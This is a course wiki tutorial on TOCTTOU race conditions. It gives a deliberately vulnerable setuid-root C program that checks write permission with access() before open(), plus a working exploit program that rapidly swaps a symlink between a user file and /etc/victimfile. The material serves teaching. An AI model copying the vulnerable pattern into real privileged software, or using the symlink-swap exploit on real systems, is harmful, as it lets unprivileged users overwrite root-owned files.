Operating Systems 2019W: Tutorial 9

From Soma-notes
Revision as of 02:03, 1 April 2019 by Soma (talk | contribs) (Created page with " ==Code== ===3000run-write.c=== <source lang="c" line> /* 3000log-write.c A program to demonstrate TOCTTOU issues Usage: 3000log-write <file> <message> When run,...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)


Code

3000run-write.c

/* 3000log-write.c

   A program to demonstrate TOCTTOU issues

   Usage: 3000log-write <file> <message>

   When run, writes message to the file.  It then also records a
   record of this action to /var/log/comp3000-write.log

   Note the program must be setuid root in order to add entries to
   the log file (which is owned by root).  But, it should only add entries
   to files that the current user can write to.
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define LOGFILE "/var/log/3000write.log"

void usage(char *message)
{
        fprintf(stderr, "ERROR: %s\n", message);
        fprintf(stderr, "Usage:  log-append <file> <message>\n");
        exit(-1);
}

void test_root_privileges(void)
{
        if (geteuid() != 0) {
                fprintf(stderr, "Not running with root privileges, exiting.\n");
                exit(-1);
        }
}

char *get_username(void)
{
        char *username;
        char *default_username = "UNKNOWN";

        username = getenv("USER");

        if (username == NULL) {
                username = default_username;
        }

        return username;
}

void log_append(char *username, char *filename)
{
        FILE *f;
        
        f = fopen(LOGFILE, "a");
        if (!f) {
                fprintf(stderr, "Could not open log for writing.\n");
                exit(-1);
        }
        
        fprintf(f, "%s (%d) appended to %s\n", username, getuid(), filename);
        fclose(f);
}

void safe_write(char *filename, char *message)
{
        int fd;
        int allowed;

        if (access(filename, W_OK)) {
                fprintf(stderr, "You aren't allowed to write to %s\n",
                        filename);
                exit(-1);
        }
        
        fd = open(filename, O_WRONLY);
        if (fd == -1) {
                fprintf(stderr, "Could not open %s for writing.\n", filename);
                exit(-1);
        }
        
        write(fd, message, strlen(message));
        close(fd);
}


int main(int argc, char *argv[])
{
        char *username, *filename, *message;

        test_root_privileges();

        if (argc < 3) {
                usage("Not enough arguments");
        }

        filename = argv[1];
        message = argv[2];
        
        username = get_username();
        
        safe_write(filename, message);
        log_append(username, filename);
        
        printf("Message written to %s\n", filename);
        
        return 0;
}

3000fast-swap.c

/* 3000fast-swap.c
   
   Quickly swap files that are being used by 3000run-write.c.
   This is part of how to exploit TOCTTOU (race condition) 
   vulnerability in 3000run-write.c

   Note it assumes that:
     /etc/victimfile is a file that is only writable by root
     /home/student/tmp exists (and is owned by student)
     /home/student/tmp/safefile exists (and is owned by student)

   Change hard coded files and sleep times to change conditions of
   the swapping.
*/

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
        printf("Swapping between safefile and victimfile...\n");

        while(1) {
                unlink("/home/student/tmp/targetfile");
                symlink("/etc/victimfile",
                     "/home/student/tmp/targetfile");
                usleep(200);
                unlink("/home/student/tmp/targetfile");
                symlink("/home/student/tmp/safefile",
                     "/home/student/tmp/targetfile");
                usleep(200);
        }
        return 0;
}